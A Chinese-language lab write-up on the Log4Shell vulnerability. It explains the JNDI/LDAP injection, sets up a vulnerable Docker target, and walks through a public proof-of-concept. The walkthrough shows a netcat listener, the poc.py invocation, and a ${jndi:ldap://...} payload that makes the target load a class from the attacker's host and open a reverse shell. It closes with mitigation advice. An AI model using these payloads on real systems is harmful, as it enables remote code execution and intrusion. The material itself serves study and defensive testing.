漏洞概述
记录本次log4j可以远程命令执行的漏洞。
CVE--44228(log4shell):受影响版本:2.0-beta9(9月发布)-2.14.1(3月发布)
CVE--45046:受影响版本: 2.0-beta9 to 2.15.0, excluding 2.12.2
log4j是一款基于java的日志工具,是Apache logging server的一部分,是使用非常广泛的一种java日志框架,所以受影响范围极广。
漏洞原理
本次漏洞主要涉及:LADP和JNDI。其中JNDI(java naming and directory interface)是底层api接口,为java程序提供命名和目录管理功能。java程序可以通过JNDI来访问LDAP服务。
调用代码格式:${jndi:logging/context-name}
通过构造恶意代码,让服务器执行后访问攻击者的恶意LDAP服务器,然后下载执行具有恶意代码的类文件,实现远程命令执行,如建立回连shell。
恶意代码格式:${jndi:ldap://<host>:<port>/<payload>}
漏洞利用
漏洞利用条件
命令执行利用条件:除了log4j需要在受影响版本外,貌似还要java版本合适,java版本要求在于下面这个参数需设置为true,高版本默认false。
Dcom.sun.jndi.ldap.object.trustURLCodebase=true
漏洞利用步骤
实验环境:kozmer/log4j-shell-poc: A Proof-Of-Concept for the recently found CVE--44228 vulnerability. ()
搭建实验环境
靶机设置的漏洞利用点在username位置。
git clone /kozmer/log4j-shell-poc.git # 下载靶机环境 cd log4j-shell-poc docker build -t log4j-shell-poc . docker run --network host log4j-shell-poc # 建立实验docker环境
利用过程
下载漏洞利用poc
下载所需版本的java包,下载地址:Index of java-local/jdk/8u202-b08 ()
# 第一步,下载poc.py git clone /kozmer/log4j-shell-poc.git # 在kali中git到本地,其中有个poc.py,就是漏洞利用的脚本 # 第二步,下载java包 tar -xf jdk-8u202-linux-x64.tar.gz mv jdk-8u202 /usr/bin# 将下载的java包解压,并移动到/usr/bin # 第三步,修改poc.py脚本 # 编辑poc.py文件,将./jdk1.8.0_202/bin/java的参数全部替换为/usr/bin/jdk1.8.0_202/bin/java。 # 这里替换的路径就是第二步java包所在路径。 # 第四步,get shell nc -nlvp 9001 # 本地开启监听 python3 poc.py --userip 192.168.128.120 --webport 8000 --lport 9001 # 执行poc文件 # --userip,指定kali的ip # --webport,指定kali http服务的端口 # --lport,指定本地正在监听的回连端口 # 第五步,发送恶意代码 ${jndi:ldap://192.168.29.163:1389/a} # 脚本执行完会有提示,将以上内容发送给服务器。发送方式:浏览器访问靶机,并在username位置输入恶意代码。 # 建立shell连接。
看了下代码,几个关键内容:
运行poc.py脚本后,根据传入的参数,生成Exploit.class,可以看generate_payload()和Exploit.java文件。
运行脚本后,会在本地启用ldap和http服务,用于靶机的回连。
根据靶机源代码注释,有问题的参数只设置了username部分,可以看LoginServlet.java文件。
漏洞测试思路
构建恶意代码:${jndi:ldap:///exp},看是否有收到请求记录,初步判断是否存在漏洞。
再定制恶意类文件,构造连接到攻击机的恶意代码,执行远程连接。
漏洞防护
官方给出了响应的修复建议:Log4j – Apache Log4j Security Vulnerabilities
防护总结来讲:要么升级到修复的版本,要么禁用JndiLookup.class。
参考连接
本次实验环境参考:
A Detailed Guide on Log4J Penetration Testing (hackingarticles.in)
kozmer/log4j-shell-poc: A Proof-Of-Concept for the recently found CVE--44228 vulnerability. ()
其他参考:
Yihsiwei/Log4j-exp: 帮助你快速复现Log4j漏洞 ()
0e0w/HackLog4j: 致敬全宇宙最无敌的Java日志库! ()